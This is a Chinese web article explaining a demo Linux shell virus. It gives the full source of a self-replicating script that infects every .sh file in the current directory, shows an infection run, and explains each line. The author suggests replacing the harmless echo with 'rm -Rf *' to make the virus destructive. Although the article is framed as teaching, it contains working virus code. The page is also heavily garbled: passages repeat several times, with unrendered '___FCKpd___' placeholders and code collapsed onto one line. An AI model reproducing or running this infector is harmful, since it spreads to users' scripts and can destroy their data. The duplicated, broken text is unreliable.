站内搜索:
   热门关键字: 数据恢复  护航时代  硬盘数据恢复  硬盘数据修复  硬盘修复
Linux操作系统下Shell病毒详细介绍
来源: 作者: 发布时间:2007-10-22  
 

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

SHELL病毒简介

1.前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

2.程序代码

 

#!/bin/sh
#文件名:virus_demo.sh
#用途:shell病毒演示。
#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写:watercloud@xfocus.org
#日期:2003-5-13

#B:<+!a%C&t:>
vFile= 

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

SHELL病毒简介

1.前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

2.程序代码

 

___FCKpd___0

看shell是多么得强大,这么短短得程序就能感染其他程序文件。

3.演示

测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。

 

[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

来看看我们这个“肉鸡”脚本,很简单:

 

[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1

ls -l

#EOF

好了开始感染他。

 

[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !

来看看感染后的结果:

 

[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1

#B:<+!a%C&t:>
vFile= 

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

SHELL病毒简介

1.前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

2.程序代码

 

#!/bin/sh
#文件名:virus_demo.sh
#用途:shell病毒演示。
#说明:病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写:watercloud@xfocus.org
#日期:2003-5-13

#B:<+!a%C&t:>
vFile= 

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

SHELL病毒简介

1.前言

说起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下这么一个小脚本,功能就是感染其他shell程序。

这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以算教学意义大于实际意义吧。

2.程序代码

 

___FCKpd___0

看shell是多么得强大,这么短短得程序就能感染其他程序文件。

3.演示

测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。

 

[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

来看看我们这个“肉鸡”脚本,很简单:

 

[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1

ls -l

#EOF

好了开始感染他。

 

[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !

来看看感染后的结果:

 

___FCKpd___4

看,病毒体:

 

#B:<+!a%C&t:> . . . .
#E:<+!a%C&t:>

被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。

来执行看看我们新的病毒体看看:

 

[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script ! <-- 看,病毒体内部的打印信息。

-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

4. 简单讲解

我们来一步步分析一下这个病毒:#B:<+!a%C&t:>病毒体开始标记,用于程序复制自己定位用。vFile=$_ ; vTmp=/tmp/.vTmp.$$定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。

 

for f in ./*.sh; do

开始循环,找到当前目录下的所有.sh结尾的程序。

 

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

目标是否有写权限,病毒源文件是否有读权限。

 

if grep '<+!a%C&t:>' $f ; then continue; fi

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

 

if sed -n '1p' $f | grep 'csh'; then continue; fi

如果目标shell是以csh的那语法上差异太大了,放弃吧。

 

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

 

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。

 

sed -n "1,${vNo}p" $vTmp >$f

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

 

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

再来一个sed完成搬运病毒体的工作。

 

vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

 

rm -f $vTmp

清理一下临时文件。

 

done >/dev/null 2>&1

循环结束。

 

unset vTmp ;unset vFile ;unset vNo

清理一下犯罪现场。

 

echo "Hi, here is a demo shell virus in your script !"

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

 

#E:<+!a%C&t:>

病毒体结束标记,用于程序复制自己定位用。

5.后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,Windows上得用户在Cygwin上应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!

 

; vTmp=/tmp/.vTmp.$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep '<+!a%C&t:>' $f ; then continue; fi if sed -n '1p' $f | grep 'csh'; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> #EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。

3.演示

测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。

 

___FCKpd___1

来看看我们这个“肉鸡”脚本,很简单:

 

___FCKpd___2

好了开始感染他。

 

___FCKpd___3

来看看感染后的结果:

 

___FCKpd___4

看,病毒体:

 

___FCKpd___5

被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。

来执行看看我们新的病毒体看看:

 

___FCKpd___6

4. 简单讲解

我们来一步步分析一下这个病毒:#B:<+!a%C&t:>病毒体开始标记,用于程序复制自己定位用。vFile=$_ ; vTmp=/tmp/.vTmp.$$定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。

 

___FCKpd___7

开始循环,找到当前目录下的所有.sh结尾的程序。

 

___FCKpd___8

目标是否有写权限,病毒源文件是否有读权限。

 

___FCKpd___9

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

 

___FCKpd___10

如果目标shell是以csh的那语法上差异太大了,放弃吧。

 

___FCKpd___11

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

 

___FCKpd___12

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。

 

___FCKpd___13

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

 

___FCKpd___14

再来一个sed完成搬运病毒体的工作。

 

___FCKpd___15

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

 

___FCKpd___16

清理一下临时文件。

 

___FCKpd___17

循环结束。

 

___FCKpd___18

清理一下犯罪现场。

 

___FCKpd___19

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

 

___FCKpd___20

病毒体结束标记,用于程序复制自己定位用。

5.后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,Windows上得用户在Cygwin上应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!

 

; vTmp=/tmp/.vTmp.$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep '<+!a%C&t:>' $f ; then continue; fi if sed -n '1p' $f | grep 'csh'; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> ls -l #EOF

看,病毒体:

 

___FCKpd___5

被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。

来执行看看我们新的病毒体看看:

 

___FCKpd___6

4. 简单讲解

我们来一步步分析一下这个病毒:#B:<+!a%C&t:>病毒体开始标记,用于程序复制自己定位用。vFile=$_ ; vTmp=/tmp/.vTmp.$$定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。

 

___FCKpd___7

开始循环,找到当前目录下的所有.sh结尾的程序。

 

___FCKpd___8

目标是否有写权限,病毒源文件是否有读权限。

 

___FCKpd___9

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

 

___FCKpd___10

如果目标shell是以csh的那语法上差异太大了,放弃吧。

 

___FCKpd___11

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

 

___FCKpd___12

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。

 

___FCKpd___13

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

 

___FCKpd___14

再来一个sed完成搬运病毒体的工作。

 

___FCKpd___15

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

 

___FCKpd___16

清理一下临时文件。

 

___FCKpd___17

循环结束。

 

___FCKpd___18

清理一下犯罪现场。

 

___FCKpd___19

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

 

___FCKpd___20

病毒体结束标记,用于程序复制自己定位用。

5.后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,Windows上得用户在Cygwin上应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!

 

; vTmp=/tmp/.vTmp.$ for f in ./*.sh; do if [ ! -w $f -a ! -r $vFile ]; then continue; fi if grep '<+!a%C&t:>' $f ; then continue; fi if sed -n '1p' $f | grep 'csh'; then continue; fi cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` sed -n "1,${vNo}p" $vTmp >$f (sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f vNo=`expr $vNo + 1` sed -n "${vNo},\$p" $vTmp >>$f rm -f $vTmp done >/dev/null 2>&1 unset vTmp ;unset vFile ;unset vNo echo "Hi, here is a demo shell virus in your script !" #E:<+!a%C&t:> #EOF

看shell是多么得强大,这么短短得程序就能感染其他程序文件。

3.演示

测试一下:

先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。

 

___FCKpd___1

来看看我们这个“肉鸡”脚本,很简单:

 

___FCKpd___2

好了开始感染他。

 

___FCKpd___3

来看看感染后的结果:

 

___FCKpd___4

看,病毒体:

 

___FCKpd___5

被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处!这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明,你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。

来执行看看我们新的病毒体看看:

 

___FCKpd___6

4. 简单讲解

我们来一步步分析一下这个病毒:#B:<+!a%C&t:>病毒体开始标记,用于程序复制自己定位用。vFile=$_ ; vTmp=/tmp/.vTmp.$$定义两个变量,一个临时文件,一个记录当前程序名称$_,这也就要求我们必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序名称,后面就找不到从哪里去找病毒体来拷贝了。

 

___FCKpd___7

开始循环,找到当前目录下的所有.sh结尾的程序。

 

___FCKpd___8

目标是否有写权限,病毒源文件是否有读权限。

 

___FCKpd___9

目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?

 

___FCKpd___10

如果目标shell是以csh的那语法上差异太大了,放弃吧。

 

___FCKpd___11

好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。

 

___FCKpd___12

这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。

 

___FCKpd___13

一个sed命令把目标文件的开始注释部分从备份文件中copy回来。

 

___FCKpd___14

再来一个sed完成搬运病毒体的工作。

 

___FCKpd___15

最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!

 

___FCKpd___16

清理一下临时文件。

 

___FCKpd___17

循环结束。

 

___FCKpd___18

清理一下犯罪现场。

 

___FCKpd___19

都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。

 

___FCKpd___20

病毒体结束标记,用于程序复制自己定位用。

5.后记

从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。

上面得程序已经在Linux和Solaris上测试通过,Windows上得用户在Cygwin上应该也行。

顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!

 


上一篇:清除无法显示隐藏文件的病毒   下一篇:完整解决“灯泡男”病毒
  热点文章
·瑞星公司06月25日发布 每日计算
·QQ通行证变种TNC的病毒本周可能
·“生日快乐”病毒将于20日发作
·西班牙逮捕手机病毒黑客 曾感染
·2007年05月14日计算机病毒及木马
·病毒随着母亲节爆发 本周末病毒
·金山13日病毒预警:母亲节小心流
·江民26日病毒播报:CIH爆发日 用
·全球博客80%含不良内容 6%有病毒
·反病毒专家提醒:剧毒"小不点"再
·绝杀病毒木马的好工具:ESET NOD
·瑞星公司04月27日发布 每日计算
  相关文章
·清除无法显示隐藏文件的病毒
·完整解决“灯泡男”病毒
·谈谈针对Linux的病毒起源发展及
·决战熊猫烧香宝典之企业解决方案
·“求职信变种病毒”档案
·IRC波特病毒出变种 染毒计算机将
·AUTO优盘传播号危害不浅 能关闭
·IRC波特出变种 染毒计算机将变"
·研究称上半年木马攻击增长500%
·专家提醒用户高度警惕DoDo恶意下
·新蠕虫病毒锁定IE主页 不打开可
·优秀程序员编写病毒敲诈 被判入